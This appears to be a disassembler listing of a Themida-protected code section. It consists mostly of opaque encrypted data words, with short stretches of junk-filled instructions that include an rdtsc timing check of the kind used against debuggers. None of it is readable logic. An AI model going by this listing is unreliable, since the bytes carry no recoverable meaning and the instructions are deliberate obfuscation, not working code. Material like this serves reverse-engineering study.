dd 78C10000h, 0AB0C93FBh, 40F56A74h, 6830Fh, 0B5890000h
dd 7A83109h, 24048950h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 49C35646h, 6FEC608h, 46A11CEh, 50F9BF0Fh
dd 310F5250h, 5CCCADB9h, 89585A21h, 6A2404h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B234DCC3h
dd 0B604F709h, 0C88B66E1h, 0A88A95FFh, 0E86007ABh, 0Bh
dd 6AC3A376h, 2376B6CAh, 5B37780Dh, 0C1850961h, 8B07A818h
dd 7AA2BAD8h, 6A587B70h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 0E529C357h, 271A1949h
dd 0B442ED0Fh, 398D8BF9h, 0B07A80Eh, 0F840FDBh, 66000000h
dd 0E9CEE4BAh, 4BEh, 95BD8Bh, 388007A8h, 20850F00h, 0FFFFFFFh
dd 4EE9FBB7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 8A0CC357h, 0C88B6681h
dd 9958B57h, 5F07A809h, 56006A48h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 8BE2A092h, 0A81A9D95h
dd 76853B07h, 0F07ABA8h, 2D82h, 6870F00h, 8B000000h, 0A80819BDh
dd 5C388007h, 18840Fh, 0BA660000h, 6657315Fh, 8059CB8Bh
dd 850F2F38h, 0FFFFFFA8h, 0F719D89h, 6A4007A8h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 0A1F2C353h, 5CBCBA7Ah, 0F4FA703h, 0B8Ch, 8D016000h
dd 7A80849h, 611AE080h, 3850Fh, 8B660000h, 7EBD83FEh, 7ABA8h
dd 1AE840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 4A3D03C3h, 8A0F78B1h, 9, 38A0Fh
dd 0C6800000h, 0F6050E4h, 681h, 0F525000h, 0E9585A31h
dd 0Dh, 4A0A94B7h, 0BC231718h, 8B320497h, 48961B1h, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 8D8905C0h, 7A800ADh, 0A87E8503h, 6A07ABh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 0BDB55FC3h
dd 5250502Eh, 0FFE8B66h, 4DBF5231h, 5F2044BFh, 489585Ah
dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0B9A04F9Ch, 2CAB2471h, 9D298976h, 7A81871h
dd 9D89046Ah, 7A82F35h, 11860F90h, 0E8000000h, 5, 6FDDE8E0h
dd 0F52504Ch, 59585A31h, 8F0F6050h, 2, 93BF5EB6h, 616B8303h
dd 3DBD8B90h, 0FF07A813h, 0ABA88A95h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 2D64AB9Ch, 4943BF66h, 0D88BFE8Bh, 495BD8Bh, 0B5807A8h
dd 0E840FDBh, 8B000000h, 0A82665BDh, 27CE907h, 0B70F0000h
dd 0C6FAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 19C35141h, 9DBA65E3h, 53C4F3C0h, 2F196FBFh, 8E0F5078h
dd 6, 3519BD8Bh, 585A07A8h, 12820Fh, 0DE90000h, 0B2000000h
dd 0CD488595h, 0CAA0AA89h, 719F7AF4h, 89FA8B50h, 6A2404h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 0C3BF61C3h, 0F28DC2E6h, 81660550h, 6A3631C9h, 21BD891Eh
dd 9007A827h, 9E9h, 0A6737000h, 2E3996ABh, 60509747h, 0F98B5250h
dd 0CF8B310Fh, 0E853585Ah, 5, 75268366h, 615B5865h, 53006A90h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0AAE2990Fh, 0A9FAE14Bh, 0DB816660h, 6661A319h, 0B38DE781h
dd 0A88A95FFh, 958907ABh, 7A834DDh, 6AD88Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 6F576C3h
dd 6BCDA2CBh, 0E890F60h, 0E9000000h, 9, 0B43C1361h, 7C8A89EDh
dd 0F586124h, 28Ah, 0B71B100h, 0F840FDBh, 66000000h, 0E9A393BAh
dd 136h, 10DBD281h, 8B504CBBh, 240489FAh, 26858D8Bh, 0D18B07A8h
dd 0A86AB5FFh, 0C98107ABh, 450FEA28h, 0A86E95FFh, 6A07ABh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 0F5D706C3h, 850FC00Bh, 59h, 0EF19D01h, 816607A8h, 619E54DAh
dd 0BD89F560h, 7A82C2Dh, 7285C761h, 107ABA8h, 56000000h
dd 2DF1BD89h, 0E95F07A8h, 0BEh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 7C35040h, 0DC3AA07Ah, 0E32C6653h
dd 8BD8EA80h, 0A824118Dh, 6A6107h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h
dd 55450000h, 552D1AC3h, 0A7F371EEh, 89223B3Fh, 0A81755BDh
dd 1CC68107h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 5316C355h, 0CC1CDF00h
dd 0AA9EAF57h, 13E9h, 0D2AC8600h, 3EA09E05h, 17937472h
dd 0A0900F34h, 0D6D79F70h, 107D958Bh, 35E907A8h, 0E8FFFFF9h
dd 11h, 73291B37h, 0B02FC089h, 1660179Fh, 0C7A05DC2h, 4E85AD7h
dd 0
; ---------------------------------------------------------------------------
add byte ptr [eax], 0
jmp loc_5BCD3F
; ---------------------------------------------------------------------------
dd 2D1A5F6Ch
db 55h, 0EEh, 71h
; ---------------------------------------------------------------------------
loc_5BCD37: ; CODE XREF: Themida_:005BCD7Cj
repe cmpsd
aas
cmp esp, [edx]
dec esi
; ---------------------------------------------------------------------------
db 0C6h, 54h
; ---------------------------------------------------------------------------
loc_5BCD3F: ; CODE XREF: Themida_:005BCD2Bj
push eax
push edi
pusha
pusha
popa
push eax
push edx
rdtsc
pop edx
pop eax
popa
pop edx
mov eax, [esp+4]
mov eax, [eax]
jle $+6
mov [esp+4], eax
jmp loc_5BCD72
; ---------------------------------------------------------------------------
db 14h, 0CFh, 46h
dd 0D3F0A2D4h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
loc_5BCD69: ; CODE XREF: Themida_:005BCD7Ej
mov ecx, 49398B3Ah
in eax, 0A9h ; Interrupt Controller #2, 8259A
out 98h, al
loc_5BCD72: ; CODE XREF: Themida_:005BCD5Cj
pop eax
call near ptr loc_5BCD7E+1
push 53h
adc al, 94h
jno short loc_5BCD37
loc_5BCD7E: ; CODE XREF: Themida_:005BCD73p
jo short loc_5BCD69
adc al, 0
; ---------------------------------------------------------------------------
dw 0
dd 0CD08D6F0h, 0A21102C9h, 45C5C18Bh, 0DF9FD5Fh, 0C0BAB666h
dd 89006A5Fh, 0A8299195h, 7AB5FF07h, 6A07ABA8h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 4682C355h, 0E51EFE1h, 85BD311Ch, 0FF07A835h, 0A834E195h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 858BF8D8h, 7ABA872h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 0B9C35242h, 0BD8991B1h, 7A82DE5h
dd 0C6BA6650h, 240489AEh, 858DF7B6h, 7ABA882h, 62E78166h
dd 0E6B250B5h, 6A240489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0BCCEC351h, 0CC847790h
dd 21958B60h, 8007A806h, 0BF61C6F0h, 0B4D6D0h, 0A83F858Dh
dd 6A07ABh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 27E2C4C3h, 0C38C6107h, 2391B501h, 0B65007A8h
dd 24048919h, 0BD5600BFh, 59BD8B00h, 0FF07A835h, 0A80E1595h
dd 0CBB70F07h, 8166C08Bh, 831CA7E7h, 0A827F9BDh, 9750007h
dd 605BD83h, 740007A8h, 8B535013h, 4D0B8C0h, 9D8D0000h
dd 7AAAE5Eh, 585BD3FFh, 605BD83h, 740007A8h, 0B8535011h
dd 4D0h, 0AD5D9D8Dh, 0D3FF07AAh, 8D03585Bh, 7A807FDh, 26C5BD0Bh
dd 952B07A8h, 7A832DDh, 6AC08Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 0E90EF1C3h, 7, 970C1F36h
dd 89BE2A94h, 0A8000DB5h, 0F2815807h, 875B1FCh, 6A0008C2h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 0A338C350h, 7EB0E8DDh, 898CD0FAh, 0A80B95B5h
; ---------------------------------------------------------------------------
pop es
loc_5BCF6D: ; CODE XREF: Themida_:loc_5BBCF7j
mov eax, eax
adc dx, 3AF8h
lea eax, [ebp+7ABA8AFh]
mov [ebp+7A82169h], eax
mov [ebp+7A8299Dh], eax
jmp short loc_5BCFC1
; ---------------------------------------------------------------------------
dd 0B00000h, 0B002CCh, 0B002E4h, 0
dd 46E018EEh, 77F9140Ah, 23E81CCFh, 4EE31824h, 4FE95FC4h
dd 77C371B8h, 23C13D2Eh, 53C2057Bh, 4BD91FFFh, 47EC143Fh
; ---------------------------------------------------------------------------
cmpsb
loc_5BCFC1: ; CODE XREF: Themida_:005BCF86j
adc edi, esp
and eax, [ecx+ebx*4]
mov fs, word ptr [ebx]
test eax, 177CAD71h
db 2Eh
add al, 5Fh
dec esi
jnz short near ptr byte_5BCFDF
adc [di-6Ah], esi
and ebx, [edx-718B358Fh]
sub esi, [ecx]
; ---------------------------------------------------------------------------
byte_5BCFDF db 0DFh ; CODE XREF: Themida_:005BCFD1j
dd 0DBE676E7h, 5638FA74h, 0A88AD99Bh, 238B9814h, 2F7F716Ah
dd 9FE61AADh, 474CC19h, 568D76E5h, 2630F2AFh, 238AD955h
dd 70DD68DDh, 9A35B15Fh, 0AA8D716Eh, 8BA8F4B0h, 10FC9Dh
dd 0DC8ADBFDh, 0A0D52A75h, 8B8B74EEh, 34F971AEh, 9A352284h
dd 0AA8D716Eh, 8BA8F4B0h, 3110FC9Dh, 0DC8ADBE0h, 49D52A75h
dd 20652253h, 38D71A9h, 0AAD6B28Fh, 0A2895536h, 37895571h
dd 608D719Ah, 49CAB21Eh, 206520A6h, 38D7153h, 0AAD4B2F0h
dd 0A2895598h, 3A89552Eh, 628D7135h, 3FDB2CBh, 0EFB17A83h
dd 230E7E5Eh, 0A88D7153h, 250D7E69h, 0A88D71D4h, 8B9334DFh
dd 210D7E32h, 0A98D719Ah, 3A08B783h, 758AD9A0h, 0CBDE7139h
dd 238D71AAh, 784E2AF4h, 27A92DE3h, 27A935B4h, 238D7181h
dd 7A4E220Eh, 92E769E1h, 0A8ADA7CBh, 8BB97014h, 239999D3h
dd 9087716Ah, 0EFF5AD2Ch, 8CD2D649h, 43FCCC9Bh, 0E07BF946h
dd 0AA82D85Ch, 238D71AFh, 238DFBDBh, 4BD3716Ah, 6A9B6F4Fh
dd 0FBA9751Bh, 0ADEE3D4h, 8BABEC3Bh, 0C2388E54h, 498AD9A5h
dd 206521D4h, 38D716Ah, 0AAD5B26Dh, 0A28955DEh, 3F895509h
dd 638D71A6h, 2ECFB203h, 1C6657E8h, 0DF07868Bh, 5B97F4E7h
dd 23E7769Eh, 238E99C8h, 79AD714Dh, 77042B65h, 670C7577h
dd 2397758Dh, 71CF71D4h, 0A33D9BA9h, 9AAEF390h, 238D6373h
dd 45AED04Dh, 478811DAh, 9C4C7484h, 4E26024Ah, 0DCD9B261h
dd 728D1BBAh, 238D72DDh, 0E0D4519Ah, 7C1F814h, 7C9F0A2h
dd 238D6557h, 0E0DC30A9h, 0DA00FAD0h, 498AD94Bh, 728D1B31h
dd 238D7272h, 0E0D4514Dh, 7C1F8FFh, 7C9F057h, 238D6AADh
dd 0E0DC30D4h, 0E10B854h, 32035FFBh, 238D6173h, 0BDE0F4Dh
dd 1E772C8Ah, 378797A8h, 67D7524h, 0C90E19D4h, 45DC535Dh
dd 7D4EBF8Bh, 0A0A9451Bh, 0A8AF46B7h, 8B8AAC1Bh, 23899954h
dd 216171A9h, 99DD71D4h, 10870306h, 27A935BEh, 680FCFFCh
dd 336571C6h, 0C68D71A6h, 0E7EF49F0h, 0D13DFD49h, 637AC81h
dd 43257BA8h, 238D76DDh, 6AA5F79Ah, 0DA53E64Bh, 0AAD210F9h
dd 73895517h, 79BC7EFBh, 23E7298Ch, 238E9939h, 78AD7135h
dd 7F042A59h, 670C7569h, 23917582h, 70CE7153h, 0D87316Ah
dd 0B4820086h, 0E8067F8Bh, 0A682715Fh, 238D719Ch, 1034C464h
dd 0F372760Eh, 3C6AF035h, 3C08F836h, 498ADA6Fh, 2065236Ah
dd 38D7135h, 0AAD7B2C0h, 0A2895519h, 3F8955E2h, 618D7153h
dd 89FEB2FBh, 0A2BEB9A6h, 0CA8C5Fh, 8BAB34A0h, 2675FA9Dh
dd 238D7381h, 98AEF42Fh, 0E30E76F8h, 408F8B1h, 108ADA6Fh
dd 2161C8AAh, 897E7135h, 0CBD871F0h, 238D714Eh, 7E4E2C86h
dd 27A91DDAh, 27A93528h, 238D71CEh, 474E242Fh, 6A62D8C9h
dd 23E74219h, 238E991Fh, 79AD71A6h, 77042B90h, 670C758Dh
dd 239075F0h, 71CF716Ah, 569DA2F6h, 190A7D35h, 0AA30C084h
dd 8B85D013h, 3A08B754h, 608AD9AFh, 0CBD871BEh, 238D7169h
dd 7E4E2C15h, 27A91D13h, 27A935CCh, 238D71BDh, 94E2416h
dd 4E1E3BAEh, 452F2D19h, 0A3F4F4D5h, 2765C8EBh, 7D8D719Ah
dd 73111626h, 9DBC7EF4h, 61F864F3h, 0A8DD29F3h, 7C9FA2Ah
dd 0BD9CE6Eh, 23065D2Bh, 238D7873h, 7EFA0E4Dh, 1FA20D65h
dd 67046163h, 2965758Dh, 6B8D71D4h, 54D2CE67h, 1D9988h
dd 0DB06175Dh, 23E72912h, 238E99F3h, 7EAD7153h, 4F042C6Ah
dd 670C75F0h, 2394754Eh, 76C87135h, 18BB4759h, 0CA89E4E6h
dd 238D71B4h, 736837DDh, 0A8FB1FF7h, 4CA58D81h, 0BC57724Bh
dd 2B6496A4h, 28D719Ah, 0A22BC812h, 0DC4DB794h, 8B8190E6h
dd 758D1BAEh, 238D723Ch, 0E0D3516Ah, 7F9F86Bh, 7C9F09Eh
dd 238D6949h, 0E0DB37A6h, 3A67B270h, 2384986Ch, 71AD71D4h
dd 0E4B7849h, 0AE7FA07Ch, 88F56B1Fh, 728D1B4Ah, 238D724Eh
dd 0E0D45153h, 7C1F8F0h, 7C9F0D0h, 238D686Eh, 0E0DC3035h
dd 0A8EF182Ah, 0BE04624Ch, 242550F7h, 23E7A1ACh, 238E99FAh
dd 78AD71D4h, 7F042AA9h, 670C7511h, 239675BEh, 70CE714Dh
dd 45EB4C65h, 6088384Ah, 0E906179Eh, 12C4F45Dh, 23E776C2h
dd 238E9967h, 79AD719Ah, 77042B8Eh, 670C7582h, 239B7577h
dd 71CF71A9h, 60266817h, 2C24CCE3h, 9604769Dh, 2425723Fh
dd 302CF4C0h, 23E7760Eh, 238E9904h, 7CAD71A9h, 5F042E17h
dd 670C754Eh, 239B7511h, 74CA719Ah, 0BC84DB8Eh, 1A08F85Eh
dd 498AD948h, 206523A9h, 38D71D4h, 0AAD7B230h, 0A2895561h
dd 3E8955DEh, 618D714Dh, 0D256B2F4h, 0AD5CBC53h, 0DE73AE7Bh
dd 0E542FAB2h, 8B8B68EFh, 74E52232h, 4509E798h, 170CA2C6h
dd 4C7FE82h, 728D1B2Bh, 238D7241h, 0E0D451D4h, 7C1F833h
dd 7C9F031h, 238D689Eh, 0E0DC304Dh, 0D53F6AACh, 0A684D0C6h
dd 24257BE8h, 2F6CC42Bh, 9E8476C2h, 24257920h, 5B97F417h
dd 960476E6h, 242562E3h, 23E7A1ACh, 238E99FAh, 78AD71D4h
dd 7F042AA9h, 670C7511h, 239875BEh, 70CE714Dh, 0DF9EE365h
dd 2CDCE4D8h, 0A6047601h, 24257CF5h, 0CBDA7100h, 238D7136h
dd 7C4E2EBAh, 27A90DC4h, 27A93527h, 238D7144h, 0EC4E26EEh
dd 0E5DECBAFh, 8B8B68EFh, 9AEB2232h, 336449C1h, 3E8D714Dh
dd 6E5B8E80h, 0AC921E75h, 0EB6A56ABh, 0CB0B1F3Ah, 238D716Eh
dd 0FB95B586h, 503417CAh, 7C9FA5Dh, 239D98A2h, 1DC7153h
dd 7AA11515h, 42094B6Ch, 0E790B019h, 230631E0h, 6704A211h
dd 0A8EB7569h, 23E7296Ch, 238E9902h, 7AAD71A9h, 6F042817h
dd 670C754Eh, 23917511h, 72CC719Ah, 1A544C8Eh, 6BE45739h
dd 28650DD2h, 0B58D71A9h, 97CEE58Ah, 0A75C52F0h, 0A8EBA043h
dd 96722E51h, 24257DACh, 614E42Dh, 0A60076FBh, 242609B3h
dd 0CBDF71BEh, 238D7169h, 794E2B15h, 27A92513h, 27A935CCh
dd 238D71BEh, 0EA4E2311h, 83E2D0A8h, 0F3728F5Fh, 0CBDD7100h
dd 238D7136h, 7B4E29BAh, 27A935C4h, 27A93527h, 238D7149h
dd 7B4E21E9h, 0AF1D466h, 0AEA67434h, 242578D4h, 3B0CCC13h
dd 0A60476E5h, 242555D3h, 2678C4D8h, 0A64B7601h, 242577CDh
dd 2618FA2Dh, 0A8AD930h, 8B83C417h, 0BEBB194Ah, 3765CEF7h
dd 978D7153h, 1169518Fh, 0EBD3537Fh, 0CC8E9565h, 0F5FD1076h
dd 73BBED12h, 7334171Fh, 45BC7E99h, 7958FCECh, 170C2BF1h
dd 0ACCDEEF0h, 728D1B62h, 238D72DDh, 0E0D4519Ah, 7C1F814h
dd 7C9F0A2h, 238D6457h, 0E0DC30A9h, 0DC712849h, 8B8190DFh
dd 3E00FA32h, 0AE8AD982h, 88F56BC8h, 728D1BA1h, 238D72BBh
dd 0E0D451A9h, 7C1F88Dh, 7C9F06Eh, 238D6B31h, 0E0DC309Ah
dd 0D815CD5Bh, 0AAC6055h, 8B8874EEh, 0AC7AF0AEh, 0DCB6667Dh
dd 708D1BBAh, 238D72DDh, 0E0D6519Ah, 7D1F816h, 7C9F0A2h
dd 238D6557h, 0E0DE32A9h, 3E08F81Ch, 498AD961h, 20652235h
dd 38D719Ah, 0AAD6B216h, 0A28955FAh, 3B895517h, 608D71A9h
dd 0D419B287h, 0AAB031C3h, 8B9634A0h, 3A08B79Dh, 648AD94Bh
dd 0CC6BBF27h, 0E8E50792h, 0A8BB6D2Fh, 789F01Bh, 6832F8C5h
dd 967281BEh, 24257D7Bh, 0CBDE7127h, 238D71A5h, 784E2A73h
dd 27A92D20h, 27A93555h, 238D7171h, 4F4E2276h, 38C3C032h
dd 0A852CF3Bh, 8BBEB833h, 3908FC54h, 0DC8ADAD1h, 768D1B04h
dd 238D7282h, 0E0D05135h, 7E1F8C7h, 7C9F049h, 238D64A2h
dd 0E0D83453h, 30657868h, 0B28D71D4h, 94C8DC6Ah, 0D43D463Eh
dd 7479BC6Fh, 1F0DA04Ah
dd 0A8EB0E35h, 0A6042E99h, 242576F4h, 0CBDB71BEh, 238D7169h
dd 7D4E2F15h, 27A90513h, 27A935CCh, 238D71BCh, 6F4E2715h
dd 6D6717C0h, 0A64B61EAh, 24257773h, 718D1B72h, 238D7272h
dd 0E0D7514Dh, 7D9F8FCh, 7C9F057h, 238D66ADh, 0E0DF33D4h
dd 8893AD3Dh, 4B5FC63Ah, 97E9DF93h, 170C1CFBh, 8A1F2582h
dd 835FF04Dh, 0DCB70BBAh, 8B819061h, 1E30586Dh, 0AE8AD93Eh
dd 88F56B1Fh, 0CD0C174Ah, 0F372ABF0h, 636CF035h, 9208F894h
dd 498AD9D0h, 2065276Ah, 38D7135h, 0AAD3B2C4h, 0A2895539h
dd 398955E2h, 658D7153h, 459DB2FFh, 5D15B847h, 0A85D8E78h
dd 0EE08F8CEh, 9A8AD996h, 208879F0h, 2C55FDC0h, 238D77DDh
dd 4618F8A9h, 78AD9CDh, 239D996Eh, 0F5C7135h, 0D84EB3AEh
dd 0B70E2D71h, 0BE9804F0h, 0B6060ED2h, 24255764h, 2C4D7B8Bh
dd 238EE9EEh, 0B686CE35h, 0A64B0740h, 24257754h, 708D1BE9h
dd 238D72BBh, 0E0D651A9h, 7D1F88Fh, 7C9F06Eh, 238D6D31h
dd 0E0DE329Ah, 9D3C8948h, 0E4457746h, 7BAA191Ch, 2D649074h
dd 0FA8D71D4h, 89A91BD7h, 0FAF63548h, 92648E45h, 7B9F010h
dd 7DD04545h, 0CBDF7139h, 238D71AAh, 794E2BF4h, 27A925E3h
dd 27A935B4h, 238D718Eh, 0A94E230Fh, 2F6CC459h, 0F20C76FBh
dd 59592B26h, 5B97F459h, 9E8E76C1h, 24257874h, 23E7A165h
dd 238E991Dh, 7BAD71A6h, 67042990h, 670C758Dh, 239A75F0h
dd 73CD716Ah, 62C962F6h, 74DF225h, 0CBDA7127h, 238D71A5h
dd 7C4E2E73h, 27A90D20h, 27A93555h, 238D7176h, 9E4E2672h
dd 0F0EE6441h, 0E83E2D81h, 238D784Fh, 0E3F26653h, 9D5E842Ch
dd 0A6047946h, 24257453h, 231CCC1Ch, 0A6067632h, 24257D80h
dd 0CBDD71CCh, 238D7150h, 7B4E2989h, 27A9355Dh, 27A935EBh
dd 238D712Fh, 894E21DAh, 80200F20h, 0C33FAF26h, 0A88290D3h
dd 8B89C034h, 270C7ED3h, 458D716Ah, 604CA68Ah, 0CBDF71F0h
dd 238D714Eh, 794E2B86h, 27A925DAh, 27A93528h, 238D71C3h
dd 5C4E2328h, 43E31811h, 4576C695h, 7BD91CCh, 4596FAC7h
dd 5F9AEAh, 8BA4603Ch, 9C96FAD3h, 4A321FD6h, 23E76ABEh
dd 238E99CAh, 7BAD714Dh, 67042965h, 670C7577h, 2395758Dh
dd 73CD71D4h, 0F76D0DA9h, 0A2EB9621h, 2C4A2C4Ch, 238D77CEh
dd 4210F8A6h, 108AD95Bh, 738D1B71h, 238D723Ch, 0E0D5516Ah
dd 7C9F86Dh, 7C9F09Eh, 238D6B49h, 0E0DD31A6h, 832C865h
dd 2C092682h, 238D7750h, 6638FA6Ah, 0AA8AD93Eh, 8BA50007h
dd 0AF34174Ah, 3A08B77Bh, 648AD955h, 0CBDE71C3h, 238D71D7h
dd 784E2A4Ah, 27A92DBCh, 27A9351Bh, 238D715Ah, 9A4E22E5h
dd 0CA7B0C2Fh, 238D71BAh, 970A473Eh, 0C86A1124h, 0E5F8101Bh
dd 7217231Bh, 9DAAC03Eh, 297C5FC9h, 3C8ADD3Bh, 933723D9h
dd 7DA11E4Eh, 0DEA975EBh, 43CACEE0h, 1554F0FCh, 96721043h
dd 24257D47h, 0E3CF462h, 0A6007601h, 242609CEh, 0CBDC7100h
dd 238D7136h, 7A4E28BAh, 27A93DC4h, 27A93527h, 238D7147h
dd 624E20E8h, 23E7A12Bh, 238E993Ah, 7BAD7135h, 67042959h
dd 670C7569h, 23917582h, 73CD7153h, 0CF3B316Ah, 0B8DF79D1h
dd 0CA0DA7C2h, 6E6CF035h, 0AA840CEDh, 8B866CC8h, 728D1BA1h
dd 238D72BBh, 0E0D451A9h, 7C1F88Dh, 7C9F06Eh, 238D6531h
dd 0E0DC309Ah, 22017E16h, 0DA8D71A6h, 238D7DBAh, 0DFDF0AA9h
dd 0E43FC3CBh, 80EFA033h, 0A8EB31BAh, 498DFA68h, 2065244Dh
dd 38D71A6h, 0AAD0B20Eh, 0A28955C5h, 3A895590h, 668D716Ah
dd 5CB4B260h, 0B16A328h, 238D61A4h, 0FFECC6A6h, 600405B3h
dd 69406A32h, 186FE1F5h, 239999CDh, 47AE7135h, 0CBE4F77Fh
dd 6C39E7D1h, 2024B98Eh, 0AE510DB1h, 0D83713F5h, 7C9FBE8Fh
dd 23E771E1h, 238E9966h, 78AD719Ah, 7F042A8Eh, 670C7582h
dd 23967577h, 70CE71A9h, 2192FD17h, 89D79C7Dh, 423058E6h
dd 0AA8AD9B7h, 8B9608C8h, 728D1BA1h, 238D72BBh, 0E0D451A9h
dd 7C1F88Dh, 7C9F06Eh, 238D6A31h, 0E0DC309Ah, 923F9D18h
dd 8E5577D6h, 238D77BBh, 0AB5B01A9h, 999C4748h, 3229EC19h
dd 22C0986Fh, 9C82719Ah, 238698B5h, 0FB7571A6h, 0B988E70Ch
dd 6212FB43h, 6608FC14h, 498ADAD1h, 20652035h, 38D719Ah
dd 0AAD4B214h, 0A28955EAh, 3B895517h, 628D71A9h, 1A83B285h
dd 2C1D0D1Ch, 238D74B0h, 0C20C179Ah, 2CDD5E9Dh, 238D772Ch
dd 0E8061153h, 0AAEC2EF9h, 0B6A655D0h, 24257587h, 3B38E4CAh
dd 23E77632h, 238E9918h, 7EAD71A6h, 4F042C90h, 670C758Dh
dd 239475F0h, 76C8716Ah, 843756F6h, 0AE298586h, 88363AD0h
dd 738D1BA1h, 238D72BBh, 0E0D551A9h, 7C9F88Ch, 7C9F06Eh
dd 238D6431h, 0E0DD319Ah, 0A2EB8AC5h, 0A268649h, 8B86DCEEh
dd 2B6521AEh, 3F8D71D4h, 0C4B420EAh, 9282F14Fh, 3F042EACh
dd 23067E69h, 0A38D71A6h, 701D3AB1h, 239E98C9h, 960471D4h
dd 8F6DD52Dh, 205DC691h, 0C22FA621h, 406A197Eh, 238A9903h
dd 3F287153h, 2DE00BDBh, 7AEC2A74h, 0B382C73Ah, 0DC7BC63Ah
dd 8BAC100Fh, 0B606114Ah, 2425429Bh, 239F9803h, 3A5471A9h
dd 0BE221D5Eh, 6AD73349h, 184B9EF5h, 8073DC81h, 0A6041013h
dd 2425749Fh, 0CBD87139h, 238D71AAh, 7E4E2CF4h, 27A91DE3h
dd 27A935B4h, 238D718Fh, 654E2408h, 8E18F8C2h, 0E58AD959h
dd 8B8B682Ch, 968E22D3h, 24256933h, 0CE3AC65Dh, 239D9821h
dd 2273714Dh, 8946FFAEh, 6DC6C8C9h, 0E090D724h, 170CC668h
dd 49BEB94Eh, 0BA18FA24h, 0DC8AD99Fh, 8B8190F8h, 748D1BA1h
dd 238D72BBh, 0E0D251A9h, 7F1F88Bh, 7C9F06Eh, 238D6531h
dd 0E0DA369Ah, 3908FC03h, 498ADADEh, 20652653h, 38D71A9h
dd 0AAD2B28Bh, 0A2895516h, 3A895571h, 648D719Ah, 0F26DB21Ah
dd 4BED7EDh, 115CF4DAh, 0F3727601h, 0A604BE5Fh, 2425658Fh
dd 0CBDB715Fh, 238D7199h, 7D4E2F6Dh, 27A9052Fh, 27A935D2h
dd 238D71B5h, 0C34E2792h, 879DED08h, 0F100D33Eh, 2386F795h
dd 0A082714Dh, 238D71A3h, 5667F035h, 3A08B7ADh, 648AD9D2h
dd 8036170Ah, 0D210F8A4h, 428AD987h, 238D75A5h, 5198E1A6h
dd 73DF21F2h, 2CEC11FBh, 76A5CFE5h, 7BD7672Bh, 7C9FA6Ch
dd 0A8BDC39Eh, 7C9F84Dh, 92DF21A2h, 79BC7E7Fh, 23E729F1h
dd 238E9984h, 7BAD716Ah, 670429F6h, 670C75BEh, 23957569h
dd 73CD71A6h, 91FF9590h, 2964012Eh, 0E28D71D4h, 5A9C6A95h
dd 2DFF190Dh, 0C2388EA5h, 0CB8AD941h, 238D71B6h, 0D965F689h
dd 0F051CBB3h, 0AF4799E3h, 0FAC3AE88h, 2CD2AB83h, 0A600B82Dh
dd 24260957h, 0DC7DCEA9h, 748D1B83h, 238D7241h, 0E0D251D4h
dd 7F1F835h, 7C9F031h, 238D6D9Eh, 0E0DA364Dh, 1CFB0B13h
dd 0EBAAAC63h, 0C608F807h, 498AD9F7h, 2065236Ah, 38D7135h
dd 0AAD7B2C0h, 0A2895519h, 378955E2h, 618D7153h, 0AAE0B2FBh
dd 8B85A461h, 9C82116Dh, 0FA66F0CAh, 42C9A5C3h, 2594F48Bh
dd 0CADE760Eh, 238D7159h, 860F2E8Dh, 3161C4D8h, 8BE52EE5h
dd 0CA7E940Fh, 238D718Bh, 88991987h, 3E672E1Ah, 623BDEECh
dd 0DD398690h, 7B9F030h, 49511452h, 238D77DDh, 30CEB09Ah
dd 45461D2Bh, 3C8DA827h, 0C2388E0Ch, 498AD9A5h, 206521D4h
dd 38D716Ah, 0AAD5B26Dh, 0A28955DEh, 34895509h, 638D71A6h
dd 0D00CB203h, 0E13FF99Eh, 5B97F459h, 23E776C1h, 238E9960h
dd 7EAD719Ah, 4F042C8Eh
dd 670C7582h, 23987577h, 76C871A9h, 2C1D6617h, 0F37281D5h
dd 0AA73FA53h, 8B97E81Fh, 0E964F04Ah, 0E5BF953Ah, 8B8B68D6h
dd 23E726AEh, 238E9986h, 79AD716Ah, 77042BF6h, 670C75BEh
dd 239A7569h, 71CF71A6h, 0C644A790h, 0F53A7E80h, 0A4AF0B2h
dd 3C241945h, 92EDF554h, 424BFAB3h, 8CA945CCh, 499914EBh
dd 20652353h, 38D71A9h, 0AAD7B28Eh, 0A289553Eh, 37895571h
dd 618D719Ah, 2C10B21Fh, 96728711h, 24257DB2h, 0CBD871C3h
